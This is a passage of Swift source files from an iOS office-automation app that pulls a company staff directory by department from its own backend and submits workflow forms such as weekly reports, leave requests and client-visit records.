delegate = self preloadPolicy = PreloadPolicy.Neighbour titles = vcTitles viewControllerClasses = vcClasses pageAnimatable = true menuViewStyle = MenuViewStyle.Line bounces = true menuHeight = 40 titleSizeNormal = 16 titleSizeSelected = 17 menuBGColor = .clearColor() automaticallyAdjustsScrollViewInsets = false // 阻止 tableView 上面的空白 // showOnNavigationBar = true // pageController.selectedIndex = 1 // pageController.progressColor = .blackColor() // pageController.viewFrame = CGRect(x: 50, y: 100, width: 320, height: 500) // pageController.itemsWidths = [100, 50] // pageController.itemsMargins = [50, 10, 100] // pageController.titleSizeNormal = 12 // pageController.titleSizeSelected = 14 // pageController.titleColorNormal = UIColor.brownColor() // pageController.titleColorSelected = UIColor.blackColor() } override func viewDidLoad() { super.viewDidLoad() ursll() } func ursll(){ let urll = "http://www.zxmoa.com:83/general/info/user/do.php" let header = ["Cookie":"PHPSESSID=\(cookpsw)"] let param = ["op":"getSearchList","username":"\(Usernn)","b_month":"0","sex":"ALL","currentPage":"0","itemsPerPage":"10"] Alamofire.request(.POST,urll,parameters: param,headers:header).responseData{ response in if let j = response.result.value{ let js = JSON(data: j) USER_ID = js["list"][0]["USER_ID"].string USER_PRIV = js["list"][0]["USER_PRIV"].string DEPT_NAME = js["list"][0]["DEPT_NAME"].string print("\(USER_ID),\(USER_PRIV),\(DEPT_NAME)") } } } // 内存警告! override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } // MARK: - PageController DataSource func numberOfControllersInPageController(pageController: PageController) -> Int { return vcTitles.count } func pageController(pageController: PageController, titleAtIndex index: Int) -> String { return vcTitles[index] } // 代理里的方法 // 结束就会触发 // override func scrollViewDidEndDecelerating(scrollView: UIScrollView) { // let i:Int = Int(self.contentScrollView.contentOffset.x / screenW) // selTitleBtn(buttons[i]) // setUpOneChildViewController(i) // } /* 滑动就会触发 func scrollViewDidScroll(scrollView: UIScrollView) { } */ } <file_sep>/zxmoa/TableView.swift // // TableView.swift // zxmoa // // Created by mingxing on 16/3/8. // Copyright © 2016年 ruanxr. All rights reserved. // import UIKit import Alamofire import SwiftyJSON class TableView: UIViewController, UITableViewDataSource,UITableViewDelegate { @IBOutlet var tableView: UITableView! var name:[String]=[],names:[String]=[],namep:[String]=[] var sex:[String]=[],sexs:[String]=[],sexp:[String]=[] var phone:[String]=[],phones:[String]=[],phonep:[String]=[] var zhiW:[String]=[],zhiWs:[String]=[],zhiWp:[String]=[] var BuMen:[String]=[],BuMens:[String]=[],BuMenp:[String]=[] var a=0,b=0,c=0,d=0,e=0 @IBOutlet weak var cover: UILabel! func urlrp(){ Alamofire.request(.POST, "http://www.zxmoa.com:83/general/address/pubcenter/addpublic_do.php",parameters:["op":"getAddressList","ADDRESS_TYPE":"1","GROUP_ID": "30","f":"view","sortField":"A13","sortType":"ASC","currentPage":"0","itemsPerPage":"20"],headers:["Cookie":"PHPSESSID=\(cookpsw)"]).responseData { response in if let j = response.result.value {//ID30 zongjingl let js = JSON(data:j) self.name.append(js["list"][0]["A1"].string!) self.names.append(js["list"][0]["A25"].string!) self.namep.append(js["list"][0]["A5"].string!) } // dispatch_async(dispatch_get_main_queue(), { self.tableView?.reloadData() self.a=1 if self.a==1 && self.b==1 && self.c==1 && self.d==1 && self.e==1{ self.cover.hidden=true self.clearAllNotice() } // return // }) } Alamofire.request(.POST, "http://www.zxmoa.com:83/general/address/pubcenter/addpublic_do.php",parameters:["op":"getAddressList","ADDRESS_TYPE":"1","GROUP_ID": "32","f":"view","sortField":"A13","sortType":"ASC","currentPage":"0","itemsPerPage":"20"],headers:["Cookie":"PHPSESSID=\(cookpsw)"]).responseData { response in if let j = response.result.value { let js = JSON(data:j) self.sex.append(js["list"][0]["A1"].string!) self.sex.append(js["list"][1]["A1"].string!) self.sexs.append(js["list"][0]["A25"].string!) self.sexs.append(js["list"][1]["A25"].string!) self.sexp.append(js["list"][0]["A5"].string!) self.sexp.append(js["list"][1]["A5"].string!) } // dispatch_async(dispatch_get_main_queue(), { self.tableView?.reloadData() self.b=1 if self.a==1 && self.b==1 && self.c==1 && self.d==1 && self.e==1{ self.cover.hidden=true self.clearAllNotice() } // return // }) // print(4) } Alamofire.request(.POST, "http://www.zxmoa.com:83/general/address/pubcenter/addpublic_do.php",parameters:["op":"getAddressList","ADDRESS_TYPE":"1","GROUP_ID": "34","f":"view","sortField":"A13","sortType":"ASC","currentPage":"0","itemsPerPage":"20"],headers:["Cookie":"PHPSESSID=\(cookpsw)"]).responseData { response in if let j = response.result.value {//ID34 财务 let js = JSON(data:j) self.phone.append(js["list"][0]["A1"].string!) self.phones.append(js["list"][0]["A25"].string!) self.phonep.append(js["list"][0]["A5"].string!) } // dispatch_async(dispatch_get_main_queue(), { self.tableView?.reloadData() self.c=1 if self.a==1 && self.b==1 && self.c==1 && self.d==1 && self.e==1{ self.cover.hidden=true self.clearAllNotice() } // return // }) // print(5) } Alamofire.request(.POST, "http://www.zxmoa.com:83/general/address/pubcenter/addpublic_do.php",parameters:["op":"getAddressList","ADDRESS_TYPE":"1","GROUP_ID": "31","f":"view","sortField":"A13","sortType":"ASC","currentPage":"0","itemsPerPage":"20"],headers:["Cookie":"PHPSESSID=\(cookpsw)"]).responseData { response in if let j = response.result.value {//ID31 4G let js = JSON(data:j) let a:Int = js["list"].count for var i=0;i<a;i++ { self.zhiW.insert(js["list"][i]["A1"].string!, atIndex: i) self.zhiWs.insert(js["list"][i]["A25"].string!, atIndex: i) self.zhiWp.insert(js["list"][i]["A5"].string!, atIndex: i) } } // dispatch_async(dispatch_get_main_queue(), { self.tableView?.reloadData() self.d=1 if self.a==1 && self.b==1 && self.c==1 && self.d==1 && self.e==1{ self.cover.hidden=true self.clearAllNotice() } // return // }) } Alamofire.request(.POST, "http://www.zxmoa.com:83/general/address/pubcenter/addpublic_do.php",parameters:["op":"getAddressList","ADDRESS_TYPE":"1","GROUP_ID": "33","f":"view","sortField":"A13","sortType":"ASC","currentPage":"0","itemsPerPage":"20"],headers:["Cookie":"PHPSESSID=\(cookpsw)"]).responseData { response in if let j = response.result.value {//ID33 工程 let js = JSON(data:j) self.BuMen.insert(js["list"][0]["A1"].string!, atIndex: 0) self.BuMen.insert(js["list"][1]["A1"].string!, atIndex: 1) self.BuMen.insert(js["list"][2]["A1"].string!, atIndex: 2) self.BuMens.insert(js["list"][0]["A25"].string!, atIndex: 0) self.BuMens.insert(js["list"][1]["A25"].string!, atIndex: 1) self.BuMens.insert(js["list"][2]["A25"].string!, atIndex: 2) self.BuMenp.insert(js["list"][0]["A5"].string!, atIndex: 0) self.BuMenp.insert(js["list"][1]["A5"].string!, atIndex: 1) self.BuMenp.insert(js["list"][2]["A5"].string!, atIndex: 2) } // dispatch_async(dispatch_get_main_queue(), { self.tableView?.reloadData() self.e=1 if self.a==1 && self.b==1 && self.c==1 && self.d==1 && self.e==1{ self.cover.hidden=true self.clearAllNotice() } // return // }) } } override func viewDidLoad() { super.viewDidLoad() urlrp() // self.navigationItem.leftBarButtonItem = self.editButtonItem()//添加编辑按钮 // let addButton = UIBarButtonItem(barButtonSystemItem: UIBarButtonSystemItem.Add, target: self, action: "listcelldata:")//增加按钮实现方法 // self.navigationItem.rightBarButtonItem = addButton//添加增加按钮 // tableView=UITableView(frame:self.view.frame,style:UITableViewStyle.Grouped) showNoticeWait() tableView.delegate = self tableView.dataSource = self // self.view.addSubview(tableView) // Uncomment the following line to preserve selection between presentations // self.clearsSelectionOnViewWillAppear = false // Uncomment the following line to display an Edit button in the navigation bar for this view controller. // self.navigationItem.rightBarButtonItem = self.editButtonItem() } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } // MARK: - Table view data source func tableView(tableView: UITableView, heightForHeaderInSection section: Int) -> CGFloat { return 25 }//title高度 func numberOfSectionsInTableView(tableView: UITableView) -> Int { // #warning Incomplete implementation, return the number of sections return 5 }//设置分区数量 func tableView(tableView: UITableView, titleForHeaderInSection section: Int) -> String?{ switch (section) { case 0: return "总经理" case 1: return "办公室" case 2: return "财务室" case 3: return "4G事业部" case 4: return "工程部" default: return "" } } func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int { // #warning Incomplete implementation, return the number of rows if (0 == section) { return name.count } else if (1 == section) { return sex.count } else if (2 == section) { return phone.count } else if (3 == section) { return zhiW.count } else if (4 == section) { return BuMen.count } return 0 }//每组有多少 func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell { // print(1) var cell = tableView.dequeueReusableCellWithIdentifier("cellid") if cell == nil{ cell = UITableViewCell(style: UITableViewCellStyle.Subtitle, reuseIdentifier: "cellid")//设置cell样式 cell!.accessoryType = UITableViewCellAccessoryType.DisclosureIndicator//右侧加小剪头 } if (0 == indexPath.section) { cell?.textLabel?.text = name[indexPath.row] cell?.detailTextLabel?.text = "职务:\(names[indexPath.row]) | 电话:\(namep[indexPath.row])" } else if(1 == indexPath.section) { cell?.textLabel?.text = sex[indexPath.row] cell?.detailTextLabel?.text = "职务:\(sexs[indexPath.row]) | 电话:\(sexp[indexPath.row])" } else if (2 == indexPath.section) { cell?.textLabel?.text = phone[indexPath.row] cell?.detailTextLabel?.text = "职务:\(phones[indexPath.row]) | 电话:\(phonep[indexPath.row])" } else if (3 == indexPath.section) { cell?.textLabel?.text = zhiW[indexPath.row] cell?.detailTextLabel?.text = "职务:\(zhiWs[indexPath.row]) | 电话:\(zhiWp[indexPath.row])" } else if (4 == indexPath.section) { cell?.textLabel?.text = BuMen[indexPath.row] cell?.detailTextLabel?.text = "职务:\(BuMens[indexPath.row]) | 电话:\(BuMenp[indexPath.row])" } return cell! }//绘制cell func tableView(tableView: UITableView, didSelectRowAtIndexPath indexPath: NSIndexPath) { let ccc:NSIndexPath = indexPath var qb:[String]=["1","2","3","1"] if (0 == ccc.section) { qb[0]=name[ccc.row] qb[1]=names[ccc.row] qb[2]="总经理" qb[3]=namep[ccc.row] } else if (1 == ccc.section) { qb[0]=sex[ccc.row] qb[1]=sexs[ccc.row] qb[2]="办公室" qb[3]=sexp[ccc.row] } else if (2 == ccc.section) { qb[0]=phone[ccc.row] qb[1]=phones[ccc.row] qb[2]="财务室" qb[3]=phonep[ccc.row] } else if (3 == ccc.section) { qb[0]=zhiW[ccc.row] qb[1]=zhiWs[ccc.row] qb[2]="4G事业部" qb[3]=zhiWp[ccc.row] } else if (4 == ccc.section) { qb[0]=BuMen[ccc.row] qb[1]=BuMens[ccc.row] qb[2]="工程部" qb[3]=BuMenp[ccc.row] } self.tableView.deselectRowAtIndexPath(indexPath, animated: true) //点击cell后cell不保持选中状态 let alertController = UIAlertController(title: "个人详情", message: "姓名:\(qb[0]) \n\n部门: \(qb[2]) \n\n职务:\(qb[1]) \n\n电话: \(qb[3]) \n\n", preferredStyle: .Alert) /**底部警告窗口设置*/ let phe = UIAlertController(title: "呼出电话", message: "是否呼叫 \(qb[0])", preferredStyle: .ActionSheet) /**/ let ok = UIAlertAction(title: "确定", style: .Default, handler: {action in let url1 = NSURL(string: "tel://\(qb[3])") UIApplication.sharedApplication().openURL(url1!)}) /**警告窗口设置*/ let cancelAction = UIAlertAction(title: "取消", style: .Destructive, handler: nil) phe.addAction(ok) phe.addAction(cancelAction) let cacel = UIAlertAction(title: "呼出", style:.Destructive,handler:{ action in self.presentViewController(phe, animated: true, completion: nil)} ) let okAction = UIAlertAction(title: "取消", style: .Cancel, handler: nil)//定义详情取消按钮 alertController.addAction(okAction) alertController.addAction(cacel) self.presentViewController(alertController, animated: true, completion: nil) } override func viewDidDisappear(animated: Bool) { self.clearAllNotice() } } <file_sep>/zxmoa/FormController.swift // // FormController.swift // zxmoa // // Created by mingxing on 16/3/30. // Copyright © 2016年 ruanxr. All rights reserved. // import UIKit import Alamofire import SwiftyJSON class FormController: FormViewController{ var titlename:String = "" var data:String? var RUN_ID1:String? var date1:[String:AnyObject]=[:] var senders0:[[String]] = [] var senders1:[[String]] = [] var flag = 0 /**创建表单结构体*/ struct Static { static let title = "RUN_NAME" static let InstancyType = "InstancyType" static let DATA_1 = "DATA_1" static let DATA_2 = "DATA_2" static let DATA_3 = "DATA_3" static let DATA_4 = "DATA_4" static let DATA_5 = "DATA_5" static let DATA_6 = "DATA_6" static let DATA_7 = "DATA_7" static let DATA_8 = "DATA_8" static let DATA_9 = "DATA_9" static let DATA_10 = "DATA_10" static let DATA_11 = "DATA_11" static let DATA_12 = "DATA_12" static let DATA_13 = "DATA_13" } /**初始化加载表单*/ // required init(coder aDecoder: NSCoder) { // super.init(coder: aDecoder) // self.loadForm() // } override func viewDidLoad() { super.viewDidLoad() self.navigationItem.title = titlename self.navigationItem.rightBarButtonItem = UIBarButtonItem(title: "提交 ", style: .Plain, target: self, action: "submit:") loadForm() view.addGestureRecognizer(UITapGestureRecognizer(target: self, action: "handleTap:")) } /**按钮事件*/ func submit(_: UIBarButtonItem!) { let message1 = self.form.formValues() self.view.endEditing(true) date1 = message1 let cont = makeform() if cont == 1{ let res = UIAlertController(title: "Form output", message: date1.description, preferredStyle: .Alert) let queren = UIAlertController(title: "确认提交", message: "是否提交\(titlename)", preferredStyle: .ActionSheet) let querenok = UIAlertAction(title: "提交", style: .Default, handler: {action in self.urll() self.urllss() }) let querencancel = UIAlertAction(title: "取消", style: .Destructive, handler: nil) queren.addAction(querenok) queren.addAction(querencancel) let ok = UIAlertAction(title: "提交", style: .Default, handler: {action in self.presentViewController(queren, animated: true, completion: nil)}) let cancelAction = UIAlertAction(title: "取消", style: .Destructive, handler: nil) res.addAction(ok) res.addAction(cancelAction) self.presentViewController(res, animated: true, completion: nil) } } func makeform()->Int{ var qm = 1 date1["RUN_ID"] = RUN_ID1 date1["doc_id"] = "" date1["OP_FLAG"] = "1" date1["f"] = "autosave" date1["FLOW_PRCS"] = "1" date1["PRCS_ID"] = "1" if flag == 1{ date1["FIELD_COUNTER"] = "4" date1["ITEM_ID_MAX"] = "4" date1["FLOW_ID"] = "3004" let d7:String? = date1["DATA_7"] as? String let d8:String? = date1["DATA_8"] as? String if d7 == "" || d8 == ""{ qm = 0 let alert: UIAlertView = UIAlertView(title: "警告", message: "本周工作内容 或者 下周工作计划没有填写", delegate: nil, cancelButtonTitle: "OK") alert.show() } }else if flag == 2{ date1["FIELD_COUNTER"] = "13" date1["ITEM_ID_MAX"] = "13" date1["FLOW_ID"] = "2001" let d7:String? = date1["DATA_5"] as? String let d8:String? = date1["DATA_7"] as? String if d7 == "" || d8 == ""{ qm = 0 let alert: UIAlertView = UIAlertView(title: "警告", message: "请假开始时间 或者 请假结束时间没有填写", delegate: nil, cancelButtonTitle: "OK") alert.show() }else{ let timeFo = NSDateFormatter() timeFo.dateFormat = "yyy-MM-dd HH:mm" let q5:NSDate = timeFo.dateFromString(d7!)! let q6:NSDate = timeFo.dateFromString(d8!)! let second = q6.timeIntervalSinceDate(q5) if second <= 0{ let alert: UIAlertView = UIAlertView(title: "警告", message: "请假开始时间晚于或等于请假结束时间\n请重新填写", delegate: nil, cancelButtonTitle: "OK") alert.show() qm = 0 }else{ let second2 = String(format: "%.2f", second/60.0/60.0/24.0) date1["DATA_10"] = second2 timeFo.dateFormat = "yyy-MM-dd" date1["DATA_5"] = timeFo.stringFromDate(q5) date1["DATA_7"] = timeFo.stringFromDate(q6) timeFo.dateFormat = "HH:mm" date1["DATA_6"] = timeFo.stringFromDate(q5) date1["DATA_8"] = timeFo.stringFromDate(q6) } } }else if flag == 3{ date1["FIELD_COUNTER"] = "9" date1["ITEM_ID_MAX"] = "9" date1["FLOW_ID"] = "3002" let d6:String? = date1["DATA_3"] as? String let str3=d6!.substringToIndex(d6!.startIndex.advancedBy(10)) print(str3) date1["DATA_3"] = str3 } return qm } func trunaround(se:[Int],se1:[Int]){ let vc = submitform() vc.RUN_ID = RUN_ID1 vc.senders = senders0 vc.senders1 = senders1 vc.se = se vc.se1 = se1 vc.ten = flag vc.hidesBottomBarWhenPushed = true self.navigationController?.pushViewController(vc, animated: true) } func urll(){ showNoticeWait() let url = "http://www.zxmoa.com:83/general/workflow/new/do.php" let header = ["Cookie":"PHPSESSID=\(cookpsw)"] Alamofire.request(.POST,url,headers: header,parameters: date1).responseString{ response in print(response.result.value) print("---------") } } func urllss(){ /**工作周报上报选择代办人*/ let header = ["Cookie":"PHPSESSID=\(cookpsw)"] var seede:[String] = ["0","0","0"] if flag == 1{ seede[0] = "1" seede[1] = "0" seede[2] = "3004" }else if flag == 2{ seede[0] = "2" seede[1] = "0" seede[2] = "2001" }else if flag == 3{ seede[0] = "0" seede[1] = "0" seede[2] = "3002" } var pamter:[String:String] = ["op":"getUserByDept","param[RUN_ID]":"\(RUN_ID1)","param[FLOW_ID]":"\(seede[2])","param[PRCS_ID]":"1","param[FLOW_PRCS]":"1","param[showLeaveOffice]":"false","param[getDataType]":"user_select_single_inflow_new","param[flow_type]":"1","param[PRCS_TO_CHOOSE]":"\(seede[0])"] let url = "http://www.zxmoa.com:83/newplugins/js/jquery-select-dialog/user/do.php" pamter["param[PRCS_TO_CHOOSE]"] = seede[0] var se:[Int] = [] , se1:[Int] = [] Alamofire.request(.GET,url,parameters: pamter,headers: header).responseData{response in if let js = response.result.value{ let jss = JSON(data: js) let a = jss["DATA"].count // print(a) self.senders1 = [[String]](count: a,repeatedValue: [String](count: 2, repeatedValue: " ")) se1 = [Int](count: a, repeatedValue: 1) for var i = 0 ; i<a ; i++ { self.senders1[i][1] = jss["DATA"][i]["USER_ID"].string! se1[i] = i self.senders1[i][0] = jss["DATA"][i]["USER_NAME"].string! } pamter["param[PRCS_TO_CHOOSE]"] = seede[1] Alamofire.request(.GET,url,parameters: pamter,headers: header).responseData{response in if let js = response.result.value{ let jss = JSON(data: js) let a = jss["DATA"].count // print(a) self.senders0 = [[String]](count: a,repeatedValue: [String](count: 2,repeatedValue: " ")) se = [Int](count: a, repeatedValue: 1) for var i = 0 ; i<a ; i++ { self.senders0[i][1] = jss["DATA"][i]["USER_ID"].string! se[i] = i self.senders0[i][0] = jss["DATA"][i]["USER_NAME"].string! } // print(self.senders0) self.clearAllNotice() self.trunaround(se,se1: se1) // print(self.senders1) } } } } } /**创建表单*/ private func loadForm() { /**获取系统当前时间*/ let date = NSDate() let timeFormatter = NSDateFormatter() timeFormatter.dateFormat = "yyy-MM-dd HH:mm:ss" var strNowTime = timeFormatter.stringFromDate(date) as String let title1 = titlename + "(\(strNowTime):\(Usernn))" let form = FormDescriptor(title: "\(titlename)") let section1 = FormSectionDescriptor(headerTitle: "流程标题", footerTitle: nil) /**流程标题*/ var row = FormRowDescriptor(tag: Static.title , rowType: .Text, title: "") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["textField.textAlignment" : NSTextAlignment.Left.rawValue] row.value = title1 section1.addRow(row) /**紧急选项*/ row = FormRowDescriptor(tag: Static.InstancyType, rowType: .SegmentedControl, title: "") row.configuration[FormRowDescriptor.Configuration.Options] = ["0", "1", "2"] row.configuration[FormRowDescriptor.Configuration.TitleFormatterClosure] = { value in switch( value ) { case "0": return " 正常 " case "1": return " 重要 " case "2": return " 紧急 " default: return nil } } as TitleFormatterClosure row.value = "0" row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["segmentedControl.tintColor" : UIColor.redColor()] section1.addRow(row) let section2 = FormSectionDescriptor(headerTitle: "\(titlename)", footerTitle: nil) let section3 = FormSectionDescriptor(headerTitle: nil, footerTitle: nil) /**根据标志制作不同的表单*/ if flag == 1{ row = FormRowDescriptor(tag: Static.DATA_3, rowType: .Label , title: "上报人") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["valueLabel.text" : "\(Usernn)"] row.value = "\(Usernn)" section2.addRow(row) timeFormatter.dateFormat = "yyy-MM-dd" strNowTime = timeFormatter.stringFromDate(date) as String row = FormRowDescriptor(tag: Static.DATA_4, rowType: .Label , title: "日期") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["valueLabel.text" : "\(strNowTime)"] row.value = "\(strNowTime)" section2.addRow(row) row = FormRowDescriptor(tag: Static.DATA_7, rowType: .MultilineText, title: "本周\n工作\n内容") section3.addRow(row) row = FormRowDescriptor(tag: Static.DATA_8, rowType: .MultilineText, title: "下周\n工作\n计划") section3.addRow(row) }else if flag == 2{ row = FormRowDescriptor(tag: Static.DATA_1, rowType: .Label, title: "登记人ID") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["valueLabel.text" : "\(USER_ID)"] row.value = "\(USER_ID)" section2.addRow(row) row = FormRowDescriptor(tag: Static.DATA_2, rowType: .Label, title: "登记时间") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["valueLabel.text" : "\(strNowTime)"] row.value = strNowTime section2.addRow(row) row = FormRowDescriptor(tag: Static.DATA_3, rowType: .Label, title: "登记人部门") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["valueLabel.text" : "\(DEPT_NAME)"] row.value = DEPT_NAME section2.addRow(row) row = FormRowDescriptor(tag: Static.DATA_4, rowType: .Label, title: "登记人角色") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["valueLabel.text" : "\(USER_PRIV)"] row.value = USER_PRIV section2.addRow(row) row = FormRowDescriptor(tag: Static.DATA_5, rowType: .DateAndTime, title: "请假开始时间") section3.addRow(row) row = FormRowDescriptor(tag: Static.DATA_7, rowType: .DateAndTime, title: "请假结束时间") section3.addRow(row) row = FormRowDescriptor(tag: Static.DATA_9, rowType: .Picker, title: "请假类型") row.configuration[FormRowDescriptor.Configuration.Options] = ["年假", "病假", "婚假","产假"] row.configuration[FormRowDescriptor.Configuration.TitleFormatterClosure] = { value in switch( value ) { case "年假": return "年假" case "病假": return "病假" case "婚假": return "婚假" default: return "产假" } } as TitleFormatterClosure section3.addRow(row) row = FormRowDescriptor(tag: Static.DATA_10, rowType: .Label, title: "请假天数") section3.addRow(row) row = FormRowDescriptor(tag: Static.DATA_11, rowType: .Label, title: "登记人姓名") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["valueLabel.text" : "\(Usernn)"] row.value = Usernn section3.addRow(row) row = FormRowDescriptor(tag: Static.DATA_12, rowType: .Label, title: "审批人签字") section3.addRow(row) row = FormRowDescriptor(tag: Static.DATA_13, rowType: .MultilineText, title: "请假原因") section3.addRow(row) }else if flag == 3{ row = FormRowDescriptor(tag: Static.DATA_3, rowType: .Date, title: "走访日期") section2.addRow(row) row = FormRowDescriptor(tag: Static.DATA_2, rowType: .Text , title: "客户名称") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["textField.textAlignment" : NSTextAlignment.Right.rawValue] section2.addRow(row) row = FormRowDescriptor(tag: Static.DATA_10, rowType: .Text , title: "所属行业") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["textField.textAlignment" : NSTextAlignment.Right.rawValue] section2.addRow(row) row = FormRowDescriptor(tag: Static.DATA_9, rowType: .Text , title: "用户规模") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["textField.textAlignment" : NSTextAlignment.Right.rawValue] section2.addRow(row) row = FormRowDescriptor(tag: Static.DATA_5, rowType: .Text , title: "联系人") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["textField.textAlignment" : NSTextAlignment.Right.rawValue] section2.addRow(row) row = FormRowDescriptor(tag: Static.DATA_1, rowType: .Text , title: "职务") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["textField.textAlignment" : NSTextAlignment.Right.rawValue] section2.addRow(row) row = FormRowDescriptor(tag: Static.DATA_7, rowType: .Text , title: "联系方式") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["textField.textAlignment" : NSTextAlignment.Right.rawValue] section2.addRow(row) row = FormRowDescriptor(tag: Static.DATA_8, rowType: .Text , title: "邮箱") row.configuration[FormRowDescriptor.Configuration.CellConfiguration] = ["textField.textAlignment" : NSTextAlignment.Right.rawValue] section2.addRow(row) row = FormRowDescriptor(tag: Static.DATA_6, rowType: .MultilineText , title: "走访\n情况") section3.addRow(row) } form.sections = [section1,section2,section3] self.tableView!.contentInset.bottom = -30 self.form = form } func handleTap(sender: UITapGestureRecognizer) { if sender.state == .Ended { self.view.endEditing(true) } sender.cancelsTouchesInView = false } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } } <file_sep>/zxmoa/UIbuttonenum.swift // // UIbuttonenum.swift // zxmoa // // Created by mingxing on 16/3/28. // Copyright © 2016年 ruanxr. All rights reserved. // import UIKit //extension UIView { // // func addOnClickListener(target: AnyObject, action: Selector) { // let gr = UITapGestureRecognizer(target: target, action: action) // gr.numberOfTapsRequired = 1 // userInteractionEnabled = true // addGestureRecognizer(gr) // } // //} extension UIButton { @objc func set(image anImage: UIImage?, title: String, titlePosition: UIViewContentMode, additionalSpacing: CGFloat, state: UIControlState){ self.imageView?.contentMode = .Center self.setImage(anImage, forState: state) positionLabelRespectToImage(title, position: titlePosition, spacing: additionalSpacing) self.titleLabel?.contentMode = .Center self.setTitle(title, forState: state) } private func positionLabelRespectToImage(title: String, position: UIViewContentMode, spacing: CGFloat) { let imageSize = self.imageRectForContentRect(self.frame) let titleFont = self.titleLabel?.font! let titleSize = title.sizeWithAttributes([NSFontAttributeName: titleFont!]) var titleInsets: UIEdgeInsets var imageInsets: UIEdgeInsets switch (position){ case .Top: titleInsets = UIEdgeInsets(top: -(imageSize.height + titleSize.height + spacing), left: -(imageSize.width), bottom: 0, right: 0) imageInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: -titleSize.width) case .Bottom: titleInsets = UIEdgeInsets(top: (imageSize.height + titleSize.height + spacing), left: -(imageSize.width), bottom: 0, right: 0) imageInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: -titleSize.width) case .Left: titleInsets = UIEdgeInsets(top: 0, left: -(imageSize.width * 2), bottom: 0, right: 0) imageInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: -(titleSize.width * 2 + spacing)) case .Right: titleInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: -spacing) imageInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: 0) default: titleInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: 0) imageInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: 0) } self.titleEdgeInsets = titleInsets self.imageEdgeInsets = imageInsets } }<file_sep>/zxmoa/ZiLiaoController.swift // // ZiLiaoController.swift // zxmoa // // Created by mingxing on 16/3/16. // Copyright © 2016年 ruanxr. All rights reserved. // import UIKit import Alamofire import SwiftyJSON import MJRefresh class ZiLiaoController: UIViewController,UITableViewDataSource,UITableViewDelegate { var ZiLiao:[[String]]=[] var tableView:UITableView? var cover:UILabel? var isNew:[[Bool]] = [] var a=0,b = 0,c = 0,flag = 0 var urll = "http://www.zxmoa.com:83/general/file_folder/file_new/filelist_do.php" var parameters:[String : String] = ["FILE_SORT":"1","SORT_ID":"36","currentPage":"0","itemsPerPage":"10"] var header = ["Cookie":"PHPSESSID=\(cookpsw)"] // 顶部刷新 let aheader = MJRefreshNormalHeader() // 底部刷新 let footer = MJRefreshAutoNormalFooter() override func loadView() { super.loadView()//通过xib加载时图 } override func viewDidLoad() { super.viewDidLoad() // self.ZiLiao = [[String]](count: 0, repeatedValue: [String](count: 3, repeatedValue: "")) ursll("0")//发送请求 creativeCell()//创建cell tableView!.reloadData() // 下拉刷新 aheader.setRefreshingTarget(self, refreshingAction: Selector("headerRefresh")) // 现在的版本要用mj_header tableView!.mj_header = aheader // 上拉刷新 footer.setRefreshingTarget(self, refreshingAction: Selector("footerRefresh")) tableView!.mj_footer = footer } // 底部刷新 var index = 0 func footerRefresh(){ if index < b - 1{ index += 1 ursll("\(index)") self.tableView!.mj_footer.endRefreshing() } else { footer.endRefreshingWithNoMoreData()//全部刷新完毕 } } func headerRefresh(){ uryanz("0") if flag == 1{ headerursll("0") // 结束刷新 self.tableView!.mj_header.endRefreshing() } else{ self.tableView!.mj_header.endRefreshing() } } /**判断是否有新的*/ func uryanz(ur:String){ parameters.updateValue(ur, forKey: "currentPage") Alamofire.request(.POST,urll,parameters:parameters,headers: header ).responseData{ response in if let j = response.result.value{ let js = JSON(data: j) let q = Int(js["totalCount"].string!)! if(q > self.c){ self.flag = q - self.c } else { self.flag = 0 } } } } func headerursll(ur:String){ var xin:[[String]]=[] parameters.updateValue(ur, forKey: "currentPage") Alamofire.request(.POST,urll,parameters:parameters,headers: header ).responseData{ response in if let j = response.result.value{ let js = JSON(data: j) self.a = js["list"].count;self.b = Int(js["totalCount"].string!)! self.c = self.b xin = [[String]](count: self.a, repeatedValue: [String](count: 4, repeatedValue: "")) // print(self.Xinwen, 111) let qq:[String]=["1","SUBJECT","USER_NAME"] for var i=0;i<self.a;i+=1{ for var j=0;j<3;j+=1{ let q = qq[j] xin[i][j] = js["list"][i][q].string! } if self.ZiLiao.count >= 10{ self.ZiLiao.removeLast() } self.ZiLiao.insert(xin[i],atIndex:0) } self.tableView!.reloadData() self.cover!.hidden=true } } } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } func creativeCell(){ self.tableView = UITableView(frame: self.view.frame, style: UITableViewStyle.Plain) self.tableView?.frame = CGRectMake(0, 0, self.view.frame.width, self.view.frame.height - 150) cover = UILabel(frame: self.view.frame ) cover!.backgroundColor = UIColor(red: 0xf0/255, green: 0xf0/255, blue: 0xf0/255, alpha: 1) //创建控件 self.tableView!.dataSource=self self.tableView!.delegate=self //实现代理 self.tableView!.backgroundColor = UIColor(red: 0xf0/255, green: 0xf0/255, blue: 0xf0/255, alpha: 1) self.tableView!.registerNib(UINib(nibName:"GroupCellAll", bundle:nil), 